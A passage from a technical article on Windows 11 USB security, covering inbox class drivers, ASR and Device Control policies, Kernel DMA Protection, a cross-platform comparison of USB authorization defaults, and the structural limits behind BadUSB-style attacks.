&lt;p&gt;&lt;strong&gt;The inbox class-driver roster.&lt;/strong&gt; The class drivers that bind to a USB device after Stage 6 are mostly Microsoft-authored and ship in every Windows 11 SKU. They include &lt;code&gt;hidclass.sys&lt;/code&gt; and &lt;code&gt;hidusb.sys&lt;/code&gt; for keyboards, mice, joysticks, and HID-over-USB; &lt;code&gt;usbstor.sys&lt;/code&gt; for the Mass Storage Class; &lt;code&gt;usbprint.sys&lt;/code&gt; for the Printer Class; &lt;code&gt;usbaudio2.sys&lt;/code&gt; for USB Audio Class 2.0; &lt;code&gt;usbvideo.sys&lt;/code&gt; for the USB Video Class (webcams); &lt;code&gt;usbser.sys&lt;/code&gt; for the CDC Serial class; &lt;code&gt;winusb.sys&lt;/code&gt; for vendor-specific generic-access scenarios; the &lt;code&gt;UcmCx.sys&lt;/code&gt; family for Type-C connector management; &lt;code&gt;Hidi2c.sys&lt;/code&gt; for HID-over-I2C; and &lt;code&gt;wpdusb.sys&lt;/code&gt; for MTP / PTP Windows Portable Devices [@ms-usb-3-0-stack] [@ms-typec] [@ms-winusb]. Every class driver in that list is signed under the Kernel-Mode Code Signing policy [@ms-kmcs]. Every class driver in that list trusts the descriptor that selected it.&lt;code&gt;Hidi2c.sys&lt;/code&gt; is the sleeper attack surface on most laptops. Internal precision touchpads, fingerprint readers, and increasingly proximity sensors are HID-over-I2C devices wired to the chipset, not the external USB bus. They are not subject to USB-side Device Control policy because they are not USB devices; they are HID devices that happen to talk a different transport. The HID class definition is the same as it is on USB.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kernel DMA Protection policy surface.&lt;/strong&gt; KDP exposes three Group Policy values on &lt;code&gt;DMAGuard\DeviceEnumerationPolicy&lt;/code&gt;: &lt;em&gt;Block&lt;/em&gt; (the default; conservative posture), &lt;em&gt;Allow with audit&lt;/em&gt;, and &lt;em&gt;Allow all&lt;/em&gt;. The Microsoft Learn reference is verbatim about the default behavior: &lt;em&gt;&quot;By default, peripherals with DMA Remapping incompatible drivers are blocked from starting and performing DMA until an authorized user signs into the system or unlocks the screen&quot;&lt;/em&gt; [@ms-kdp]. KDP&apos;s silicon and firmware prerequisites (IOMMU support, UEFI DMAR / IVRS publication) are non-trivial; on many post-2019 OEM platforms the toggle is shipping in BIOS but turned off until an administrator changes the firmware setting.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The ASR + Device Control + GPO triangle.&lt;/strong&gt; The three deployable layers of enterprise USB policy on Windows 11 are an Attack Surface Reduction rule, the Microsoft Defender for Endpoint Device Control framework, and the older Group Policy Device Installation Restrictions family.&lt;/p&gt;

Attack Surface Reduction is a set of policy-defined kernel-and-userland rules in Microsoft Defender for Endpoint that block specific abusable behaviors. Each rule is identified by a GUID and toggled per-rule by Group Policy, Intune, or PowerShell. ASR rules sit in front of common execution sinks (Office child processes, script-from-email runs, USB-borne executables) and refuse the operation when the rule is in Block mode. They are a policy layer on top of the Windows execution model, not a re-design of it.
&lt;p&gt;The ASR rule that targets USB-borne malware is &lt;em&gt;&quot;Block untrusted and unsigned processes that run from USB&quot;&lt;/em&gt;, GUID &lt;code&gt;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&lt;/code&gt; on Microsoft&apos;s ASR-rule-to-GUID matrix [@ms-asr-rules]. (Several published guides cite the unrelated GUID &lt;code&gt;d4f940ab-401b-4efc-aadc-ad5f3c50688a&lt;/code&gt; for the same rule; per the matrix that GUID is actually &lt;em&gt;&quot;Block all Office applications from creating child processes&quot;&lt;/em&gt;. The corrected USB GUID is the one to deploy.) Microsoft Defender for Endpoint Device Control is the granular layer: groups, rules, and settings let an administrator allow read-only-for-corporate-encrypted-USB, deny-write-for-personal-USB, allow corporate HID by VID/PID/serial, and a dozen other primitive combinations per-user [@ms-devcontrol]. The older Group Policy Device Installation Restrictions framework has eight policies (&lt;code&gt;AllowedDeviceClasses&lt;/code&gt;, &lt;code&gt;DenyDeviceClasses&lt;/code&gt;, &lt;code&gt;AllowedDeviceIDs&lt;/code&gt;, &lt;code&gt;DenyDeviceIDs&lt;/code&gt;, and so on) and uses Setup Class GUIDs such as &lt;code&gt;GUID_DEVCLASS_USB&lt;/code&gt; (&lt;code&gt;{36FC9E60-C465-11CF-8056-444553540000}&lt;/code&gt;) and &lt;code&gt;GUID_DEVCLASS_HIDCLASS&lt;/code&gt; (&lt;code&gt;{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}&lt;/code&gt;) for class-wide rules [@ms-gpo-devinstall] [@ms-devsetupclasses].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BitLocker To Go.&lt;/strong&gt; The full-volume-encryption story for removable media on Windows has been BitLocker To Go since Windows 7. On Windows 11 the default cipher is XTS-AES-128 (administrators can promote to XTS-AES-256 via the Group Policy &lt;em&gt;&quot;Choose drive encryption method and cipher strength&quot;&lt;/em&gt; under Removable Data Drives), and the Group Policy &lt;em&gt;&quot;Deny write access to removable drives not protected by BitLocker&quot;&lt;/em&gt; is the enterprise opt-in to force the contract [@ms-bitlocker]. BitLocker To Go protects the &lt;em&gt;data on&lt;/em&gt; a USB stick if it is lost or stolen. It does not protect the host from a malicious peripheral, because the malicious peripheral does not present itself as a BitLocker-managed volume; it presents itself as whatever it pleases at Stage 5.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;USB-IF Authentication Specification Revision 1.0.&lt;/strong&gt; Published in the form of an ECN and errata dated January 7, 2019 [@usbif-auth-spec], this specification defines cryptographic peripheral identity using ECDSA P-256, X.509 certificate chains, and SHA-256 hashing -- the same primitives Windows already uses for KMCS and BitLocker. The standard exists. Windows ships no in-box consumer. No major host operating system in 2026 consumes it. The 2019 promise of cryptographic device identity has been seven years away for seven years.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; USB-IF Authentication 1.0 is the only mechanism in this entire roster that would architecturally close the BadUSB-class HID-injection problem. Every other defense in the table below mitigates the &lt;em&gt;symptoms&lt;/em&gt; of the descriptor-trust gap. USB-IF Authentication would close the gap itself. It was published as an ECN seven years ago [@usbif-auth-spec]. Windows does not consume it. macOS does not consume it. Linux does not consume it. The defense is not absent because it is hard; it is absent because no host operating system has committed engineering to it. That is the institutional gap.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The SOTA roster, in a comparison table:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;What it gates&lt;/th&gt;
&lt;th&gt;Attack class addressed&lt;/th&gt;
&lt;th&gt;Does NOT address&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;KMCS [@ms-kmcs]&lt;/td&gt;
&lt;td&gt;Loading of unsigned &lt;code&gt;.sys&lt;/code&gt; files into ring zero&lt;/td&gt;
&lt;td&gt;Arbitrary kernel-mode driver loads&lt;/td&gt;
&lt;td&gt;Descriptors a signed driver consumes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel DMA Protection [@ms-kdp]&lt;/td&gt;
&lt;td&gt;Pre-login + post-login DMA from Thunderbolt / USB4 PCIe endpoints&lt;/td&gt;
&lt;td&gt;Thunderclap-class DMA attacks&lt;/td&gt;
&lt;td&gt;USB 2.0/3.x storage and HID; pre-DMAR firmware platforms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASR USB rule &lt;code&gt;b2b3f03d-...&lt;/code&gt; [@ms-asr-rules]&lt;/td&gt;
&lt;td&gt;Unsigned and untrusted process launch from USB-mounted volume&lt;/td&gt;
&lt;td&gt;AutoRun-like execution; mass-storage-borne executables&lt;/td&gt;
&lt;td&gt;HID-injection (no process is launched); descriptor-parser bugs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDE Device Control [@ms-devcontrol]&lt;/td&gt;
&lt;td&gt;Per-VID/PID/serial allow-deny on read, write, execute, file-walk&lt;/td&gt;
&lt;td&gt;Any policy-named USB device class&lt;/td&gt;
&lt;td&gt;Devices the policy explicitly allows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPO Device Installation Restrictions [@ms-gpo-devinstall] [@ms-devsetupclasses]&lt;/td&gt;
&lt;td&gt;Setup-class-wide allow-deny by Device Setup Class GUID&lt;/td&gt;
&lt;td&gt;Whole-class blocks (e.g. all USB Storage)&lt;/td&gt;
&lt;td&gt;Devices the policy allow-lists&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BitLocker To Go [@ms-bitlocker]&lt;/td&gt;
&lt;td&gt;Encryption of data at rest on removable USB volumes&lt;/td&gt;
&lt;td&gt;Lost / stolen thumb drive&lt;/td&gt;
&lt;td&gt;Malicious peripheral; host compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AutoRun-disable (KB971029 era) [@krebs-feb2011] [@wiki-autorun]&lt;/td&gt;
&lt;td&gt;&lt;code&gt;autorun.inf&lt;/code&gt;-driven AutoPlay launch on insert&lt;/td&gt;
&lt;td&gt;Conficker-class AutoRun worms&lt;/td&gt;
&lt;td&gt;HID injection; descriptor parser bugs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Driver Block List / Vulnerable Driver Block List [@ms-kmcs]&lt;/td&gt;
&lt;td&gt;Loading of named known-bad signed &lt;code&gt;.sys&lt;/code&gt; files&lt;/td&gt;
&lt;td&gt;Bring-Your-Own-Vulnerable-Driver&lt;/td&gt;
&lt;td&gt;New (unlisted) malicious-but-signed driver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;USB-IF Authentication 1.0&lt;/strong&gt; [@usbif-auth-spec]&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Cryptographic peripheral identity at enumeration&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Descriptor-trust impossibility result (BadUSB)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;(Standard exists; Windows does not consume it)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;{`
// Emulates the PowerShell check:
//   $p = Get-MpPreference
//   $p.AttackSurfaceReductionRules_Ids
//   $p.AttackSurfaceReductionRules_Actions
// In a real Windows 11 enterprise rollout, run the PowerShell as administrator.&lt;/p&gt;
&lt;p&gt;const USB_RULE_GUID = &quot;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&quot;; // &quot;Block untrusted and unsigned processes from USB&quot;
const ACTION = { DISABLED: 0, BLOCK: 1, AUDIT: 2, WARN: 6 };&lt;/p&gt;
&lt;p&gt;// Sample output that a healthy enterprise endpoint should produce.
const sample = {
  ids: [USB_RULE_GUID, &quot;d4f940ab-401b-4efc-aadc-ad5f3c50688a&quot;, &quot;75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84&quot;],
  actions: [ACTION.BLOCK, ACTION.BLOCK, ACTION.BLOCK],
};&lt;/p&gt;
&lt;p&gt;const i = sample.ids.indexOf(USB_RULE_GUID);
if (i &amp;lt; 0) {
  console.log(&quot;ASR USB rule not present in policy.&quot;);
} else if (sample.actions[i] === ACTION.BLOCK) {
  console.log(&quot;ASR USB rule is ENABLED in BLOCK mode.&quot;);
} else if (sample.actions[i] === ACTION.AUDIT) {
  console.log(&quot;ASR USB rule is in AUDIT mode (events logged, nothing blocked).&quot;);
} else {
  console.log(&quot;ASR USB rule is DISABLED (action=&quot; + sample.actions[i] + &quot;).&quot;);
}
`}&lt;/p&gt;
&lt;p&gt;Eight Windows-shipping mechanisms, one missing implementation. The implementation gap is structural: the only complete defense in the roster is the one Windows does not ship.&lt;/p&gt;
&lt;h2&gt;7. USB Security on Non-Windows Platforms&lt;/h2&gt;
&lt;p&gt;Windows is not the only OS that inherits USB&apos;s descriptor-trust premise. Every host operating system since 1996 has inherited the same contract; each has staked out a different position on how to live with it. The contrast clarifies what Windows chose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;macOS on Apple Silicon (Ventura 2022, extended Sequoia 2024).&lt;/strong&gt; Apple Support is verbatim on the prompt: &lt;em&gt;&quot;When you use a new or unknown USB accessory, Thunderbolt accessory, or SD card with your Mac laptop with Apple silicon, you get an alert that asks you to allow the accessory to connect&quot;&lt;/em&gt; [@apple-mac-usb]. The same page documents the four user-selectable modes -- &lt;em&gt;Always ask&lt;/em&gt;, &lt;em&gt;Ask for new accessories&lt;/em&gt;, &lt;em&gt;Automatically allow when unlocked&lt;/em&gt;, &lt;em&gt;Always allow&lt;/em&gt; -- and the lockout window: &lt;em&gt;&quot;If your Mac has been locked for 3 or more days, you might need to unlock it to use a previously allowed accessory again&quot;&lt;/em&gt; [@apple-mac-usb]. Apple is the only major host OS that ships a user-facing prompt as the default posture.Apple Silicon Macs enforce the accessory-prompt at the hardware level through the Secure Enclave Processor, not purely in software. This is architectural inference from Apple&apos;s general SEP-policy documentation; Apple Support pages describe the user-visible behavior, not the SEP-side enforcement chain. The architectural distinction matters because the prompt is not a kernel-side policy a privileged process can bypass.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iOS USB Restricted Mode (iOS 11.4.1, 2018; USB-C version, iOS 17+).&lt;/strong&gt; Apple Support carries the iOS variant verbatim: &lt;em&gt;&quot;By default, you need to first unlock your iPhone or iPad to connect to an accessory or computer&quot;&lt;/em&gt; [@apple-ios-usb]. Modern USB-C iPhones and iPads expose the same four-mode setting as the Mac: &lt;em&gt;Always Ask&lt;/em&gt;, &lt;em&gt;Ask for New Accessories&lt;/em&gt;, &lt;em&gt;Automatically Allow When Unlocked&lt;/em&gt;, &lt;em&gt;Always Allow&lt;/em&gt; [@apple-ios-usb]. iOS came first; macOS adopted the same UX pattern four years later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ChromeOS.&lt;/strong&gt; USB device authorization on ChromeOS is tied to the user-signin state; HID-class injection vectors are default-deny after suspend on managed devices. ChromeOS&apos;s documentation of the exact enforcement chain is sparse, so we will only describe what is publicly observable: the policy hooks exist, the enterprise-managed posture is default-deny, the consumer posture is default-allow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux &lt;code&gt;usbguard&lt;/code&gt;.&lt;/strong&gt; The open-source &lt;code&gt;usbguard&lt;/code&gt; daemon implements per-user, per-device USB authorization on top of the kernel&apos;s sysfs &lt;code&gt;authorized&lt;/code&gt; flag [@usbguard]. The architectural cousin of Windows&apos;s Defender for Endpoint Device Control, &lt;code&gt;usbguard&lt;/code&gt; ships a mature policy language (&lt;code&gt;usbguard list-devices&lt;/code&gt;, &lt;code&gt;usbguard allow-device&lt;/code&gt;, declarative &lt;code&gt;rules.conf&lt;/code&gt;) and integrates cleanly with PolicyKit. The catch is that no major Linux distribution enables &lt;code&gt;usbguard&lt;/code&gt; by default; it is opt-in software a sysadmin installs. Linux&apos;s &lt;em&gt;kernel&lt;/em&gt; has had the &lt;code&gt;authorized&lt;/code&gt; sysfs flag since 2007; what it has not had is a default-deny posture out of the box.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OpenBSD &lt;code&gt;umass(4)&lt;/code&gt; / FreeBSD opt-in USB policy.&lt;/strong&gt; The BSD family of operating systems ships conservative defaults: separated drivers per class, no &lt;code&gt;autorun.inf&lt;/code&gt;-equivalent in the file manager, and a documented user-mode authorization story. Deployment scale is small; the design is included here only to illustrate that a default-deny posture is technically possible inside an inherited USB protocol contract.&lt;/p&gt;
&lt;p&gt;The cross-platform comparison:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Default posture&lt;/th&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Pre-login HID injection&lt;/th&gt;
&lt;th&gt;DMA isolation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Windows 11 25H2&lt;/td&gt;
&lt;td&gt;Allow on insert&lt;/td&gt;
&lt;td&gt;Policy frameworks layered over descriptor trust [@ms-asr-rules] [@ms-devcontrol] [@ms-gpo-devinstall]&lt;/td&gt;
&lt;td&gt;Mitigated only by ASR USB rule + Device Control allow-list (enterprise opt-in)&lt;/td&gt;
&lt;td&gt;Kernel DMA Protection on capable platforms [@ms-kdp]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS (Apple Silicon)&lt;/td&gt;
&lt;td&gt;Prompt user&lt;/td&gt;
&lt;td&gt;User-facing approval dialog, 3-day re-prompt window [@apple-mac-usb]&lt;/td&gt;
&lt;td&gt;Mitigated by default prompt (consumer + enterprise)&lt;/td&gt;
&lt;td&gt;Apple-managed IOMMU + SEP policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iOS (USB-C)&lt;/td&gt;
&lt;td&gt;Locked-until-unlock&lt;/td&gt;
&lt;td&gt;User-facing approval dialog [@apple-ios-usb]&lt;/td&gt;
&lt;td&gt;Mitigated by default prompt&lt;/td&gt;
&lt;td&gt;Apple-managed IOMMU + SEP policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChromeOS (managed)&lt;/td&gt;
&lt;td&gt;Default deny after suspend&lt;/td&gt;
&lt;td&gt;Sign-in-state-gated authorization&lt;/td&gt;
&lt;td&gt;Mitigated by default deny (managed devices)&lt;/td&gt;
&lt;td&gt;Platform-IOMMU policy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux + usbguard&lt;/td&gt;
&lt;td&gt;Default deny if installed&lt;/td&gt;
&lt;td&gt;User-space daemon over kernel &lt;code&gt;authorized&lt;/code&gt; flag [@usbguard]&lt;/td&gt;
&lt;td&gt;Mitigated &lt;em&gt;if&lt;/em&gt; &lt;code&gt;usbguard&lt;/code&gt; installed (opt-in)&lt;/td&gt;
&lt;td&gt;Distribution-dependent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stock Linux&lt;/td&gt;
&lt;td&gt;Allow on insert&lt;/td&gt;
&lt;td&gt;Kernel &lt;code&gt;authorized&lt;/code&gt; flag exists, default is allowed&lt;/td&gt;
&lt;td&gt;Not mitigated&lt;/td&gt;
&lt;td&gt;Distribution-dependent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenBSD / FreeBSD&lt;/td&gt;
&lt;td&gt;Conservative by default&lt;/td&gt;
&lt;td&gt;Per-class driver opt-in&lt;/td&gt;
&lt;td&gt;Not the default attack surface (low deployment)&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two platforms (Apple&apos;s, both of them) prompt the user as the default posture. One (Linux) ships an opt-in user-space daemon. Windows is the only major platform that combines a kernel-mode device-control framework with cross-platform telemetry inside Microsoft Defender for Endpoint -- and the only one still relying entirely on enterprise opt-in for the HID-injection mitigation. The consumer default on Windows 11 25H2 is allow-on-insert.&lt;/p&gt;
&lt;h2&gt;8. What Windows Cannot Defend Against&lt;/h2&gt;
&lt;p&gt;We have walked the modern pipeline and seen the roster of defenses. We owe the reader a clean accounting of where the model is structural -- where no plausible Windows version closes the gap without breaking USB compatibility. There are five named limits, and none of them are bugs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 1: The descriptor-trust impossibility result.&lt;/strong&gt; USB has, by specification, no out-of-band identity. A peripheral that &lt;em&gt;declares&lt;/em&gt; itself to be a keyboard &lt;em&gt;is&lt;/em&gt; a keyboard for purposes of the bus-enumeration handshake. The Wikipedia reference is explicit about the device-class architecture in which the peripheral, not the host, owns the declaration [@wiki-usb]. Until USB-IF Authentication (cryptographic device identity) is universal at the silicon level, this gap is structural to the protocol. Closing it on the host side -- by, say, refusing to bind a class driver until the device signs a challenge -- would break every existing USB device on the market.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 2: HID-class trust is structural, not technical.&lt;/strong&gt; A USB HID keyboard issues input events to the focused window. Windows has no way to know whether the user is the source of those events or whether a reprogrammed thumb drive is. The SR Labs disclosure is verbatim about why the host cannot tell the difference: the same Phison or Cypress controller chip that ships in a thumb drive can be reprogrammed to enumerate as a HID device with a vendor-controlled report descriptor [@srlabs-badusb-pdf] [@wiki-badusb]. Microsoft Defender for Endpoint Device Control supports granular HID rules, but they are opt-in, enterprise-only, and inherently break every external keyboard the policy does not allow. The structural cost of fixing this is breaking USB.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 3: Firmware reprogrammability of commodity USB controllers.&lt;/strong&gt; Phison, Cypress, Genesys, Realtek, and the rest of the commodity USB-controller market ship field-flashable firmware. The Psychson toolchain demonstrated the Phison PS2251-03 reflash end-to-end and made it reproducible in a researcher&apos;s afternoon: &lt;em&gt;&quot;firmware patches have only been tested against PS2251-03 firmware version 1.03.53 ... DriveCom ... EmbedPayload ... Injector&quot;&lt;/em&gt; [@psychson-repo]. The O.MG Cable productionized the technique inside a USB-A-to-Lightning cable form factor, proving the attack is now commercial-supply-chain-implantable [@omg-cable]. The host operating system has no view into the controller&apos;s firmware, no way to attest it, and no way to reject a peripheral that exposes a different identity post-flash than it did pre-flash.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Limit 4: Kernel DMA Protection is opt-in at three layers.&lt;/strong&gt; Silicon (the platform must have an IOMMU), firmware (the UEFI must publish DMAR / IVRS tables), and driver (the driver must declare &lt;code&gt;DmaRemappingCompatible=1&lt;/code&gt; in its INF) [@ms-kdp] [@ms-dmaremap]. Many post-2019 OEM platforms ship with the firmware toggle off in BIOS. Worse, the Thunderclap research demonstrated that even on IOMMU-enabled systems, &lt;em&gt;shared&lt;/em&gt; IOMMU contexts between a peripheral and a kernel driver are a viable attack vector [@ndss-thunderclap]. KDP also has no view at all of USB 2.0/3.x mass storage or HID, which do not perform DMA.&lt;/p&gt;

Windows only uses the IOMMU in limited cases and remains vulnerable. -- Markettos, Rothwell, Gutstein, Pearce, Neumann, Moore, and Watson, *Thunderclap*, NDSS 2019 [@ndss-thunderclap]
&lt;p&gt;&lt;strong&gt;Limit 5: The descriptor parser is C code in the kernel.&lt;/strong&gt; &lt;code&gt;usbhub3.sys&lt;/code&gt; and &lt;code&gt;usbccgp.sys&lt;/code&gt; are partially undocumented, are closed-source, and parse adversarial input in a memory-unsafe language.Microsoft has not published the source for &lt;code&gt;usbhub3.sys&lt;/code&gt; or &lt;code&gt;usbccgp.sys&lt;/code&gt;; the architectural descriptions on Microsoft Learn describe the externally visible behavior of these drivers, not their internal parsing routines or memory-safety properties. Any claim about their specific implementation must be hedged accordingly. The conclusion that they parse adversarial input in C is inferred from the Windows-kernel codebase&apos;s language conventions and from the public record of descriptor-parser CVEs over the last fifteen years. Andy Davis named the surface in 2011 [@ncc-davis-2011], and Google&apos;s syzkaller-USB program -- a public-record proxy for the wider community&apos;s descriptor-parser fuzzing effort -- has been producing kernel-side descriptor-parser bugs across host operating systems since 2017 [@syzkaller-usb]. Until the parser is rewritten in a memory-safe language, this is finite-but-non-zero kernel-mode attack surface. Linux&apos;s &lt;code&gt;usbcore&lt;/code&gt; has ongoing Rust experiments under the upstream Rust-for-Linux project [@rust-for-linux]; Windows has not publicly committed to a similar rewrite.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; None of these five limits is a Windows bug. The descriptor-trust gap is in USB. The HID-class trust gap is in the HID class definition. The firmware-reprogrammability gap is in commodity controller silicon. The KDP gap is in the layered opt-in posture of IOMMU-on-platform DMA isolation. The C-in-the-kernel gap is the price of Windows&apos;s compatibility-first kernel-driver model. Closing any one of them on the Windows side, in isolation, would either break the USB device market (limits 1-3), require commodity-silicon redesign (limit 3 again), or require a multi-year rewrite the engineering organization has not committed to (limit 5).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The USB attack surface on Windows is the price Windows pays for being USB-compatible. Five named gaps. Zero of them are bugs. Each is a structural cost of inheriting a 1996 protocol contract written when peripheral firmware was not field-flashable and the descriptor-trust assumption was at least defensible. In 2026 the assumption is indefensible and the contract is everywhere. The defense Windows ships is the best layered mitigation anyone has built around the gap; it does not close the gap.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;9. Open Problems&lt;/h2&gt;
&lt;p&gt;If the limits are structural, the open problems are sociological: who adopts the standard that already exists, who funds the rewrite that nobody has shipped, who builds the heuristic that no production OS has.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;USB-IF Authentication 2.0 / 3.0 uptake.&lt;/strong&gt; The standard exists as a January 2019 ECN [@usbif-auth-spec]. Device-vendor uptake is near zero outside specialized industries (automotive, medical). Windows has no in-box consumer. The blocker is not cryptographic feasibility -- ECDSA P-256 over SHA-256 with X.509 chains is everyday code -- it is two-sided market adoption: peripheral vendors will not ship the silicon until host operating systems consume it; host operating systems will not consume it until enough peripherals ship it. Someone in the duopoly of major host-OS shipping has to commit first. As of mid-2026 no one has. &lt;em&gt;Current best partial result:&lt;/em&gt; the same ECDSA-plus-X.509 attestation pattern has been deployed at scale in adjacent ecosystems -- Apple&apos;s Find My accessory-attestation network and the automotive / medical USB-Authentication-mandatory tiers -- demonstrating that the cryptographic primitive itself is silicon-shippable; what remains is OS-side consumption.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HID re-enumeration detection.&lt;/strong&gt; A thumb drive that mounts as Mass Storage, presents a benign-looking volume for a few seconds, and then re-enumerates as a composite device that adds a HID keyboard interface is the BadUSB signature [@srlabs-badusb-pdf]. No production host operating system detects this generically. A reasonable heuristic -- that a freshly enumerated device which changes its declared composition in the first fifteen seconds is suspicious -- is not in any Microsoft Defender for Endpoint hunting query as a shipped detection, only as a custom Defender XDR query an enterprise can compose itself. The heuristic is this article&apos;s own proposal, not a published primary source. &lt;em&gt;Current best partial result:&lt;/em&gt; mature Microsoft Defender Experts customers are already deploying custom Defender XDR hunting queries that key on the post-attach composition-change pattern (typically joined against the BadUSB 200 ms keystroke-burst signature in §10.4); the detection exists in mature managed-detection-and-response practices but has not landed as a default rule in any shipping product.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;USB-C Alternate Mode trust.&lt;/strong&gt; DisplayPort Alt Mode, Thunderbolt Alt Mode, and USB4-tunneled PCIe each cross OS / firmware / silicon boundaries inside a single physical connector. The display-side firmware attack surface, the Power Delivery contract negotiation, and the &lt;em&gt;&quot;fast charge negotiation opens a data path&quot;&lt;/em&gt; primitive that has emerged in commodity fast-charging hardware are all under-explored. Microsoft&apos;s Type-C UCM stack [@ms-typec] documents the connector-manager class extensions but does not (and cannot) verify the firmware behind the alt-mode peer. &lt;em&gt;Current best partial result:&lt;/em&gt; the UCM &lt;code&gt;UcmCx&lt;/code&gt; / &lt;code&gt;UcmUcsiCx&lt;/code&gt; / &lt;code&gt;UcmTcpciCx&lt;/code&gt; class-extension family ships in every Windows 11 SKU and gives the OS a uniform connector-state view it did not have before 2016 -- the partial mitigation is the architectural plumbing, not yet a firmware-attestation policy on top of it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Supply-chain attacks on USB controller chips.&lt;/strong&gt; The O.MG Cable shows that BadUSB is now manufacturing-implantable [@omg-cable]; the FBI&apos;s 2020 and 2022 FIN7 advisories show organized cybercriminal actors mailing the same primitive [@bleeping-fin7]. Hardware bill-of-materials attestation, Microsoft Defender for IoT inventory, and supply-chain risk-management frameworks (NIST SP 800-161 in the United States [@nist-sp-800-161]) are nascent on the consumer side and uneven on the enterprise side. Nothing on the consumer Windows endpoint defends the user from a cable that looks like a real cable. &lt;em&gt;Current best partial result:&lt;/em&gt; the deployable enterprise stack is USB-IF Authentication 1.0 in the small set of authentication-capable peripherals [@usbif-auth-spec], plus Microsoft Defender for IoT device-inventory telemetry, plus per-organisation bring-your-own-cable allow-list policy primitives in Defender for Endpoint Device Control [@ms-devcontrol] -- a layered stack rather than a single defence.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open-source memory-safe descriptor parser.&lt;/strong&gt; Linux&apos;s &lt;code&gt;usbcore&lt;/code&gt; has ongoing Rust experiments under the upstream Rust-for-Linux project [@rust-for-linux]; Microsoft has not committed to a similar rewrite. The bug-volume reduction from rewriting &lt;code&gt;usbhub3.sys&lt;/code&gt; and &lt;code&gt;usbccgp.sys&lt;/code&gt; in a memory-safe language would, on the basis of the public CVE record, dwarf any single mitigation in the article. The blocker is engineering scope, not technical feasibility. &lt;em&gt;Current best partial result:&lt;/em&gt; the syzkaller-USB program has produced a continuously growing tally of kernel-side descriptor-parser bugs across host operating systems since 2017 [@syzkaller-usb], proving the attack surface is empirically large; the upstream Rust-for-Linux USB driver experiments are the only public evidence that a memory-safe rewrite of a production USB stack is practical at scale.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &quot;Vendor adoption&quot; sounds like a feature-request line item rather than an open research problem. It is structural. Until a host OS commits silicon-supply-chain weight to USB-IF Authentication, the standards body has no influence on the peripheral vendors; until the peripheral vendors ship Authentication-capable silicon, the host OS sees no installed base to support. Solving the two-sided-market problem is the open problem -- not the cryptography.&lt;/p&gt;
&lt;/blockquote&gt;
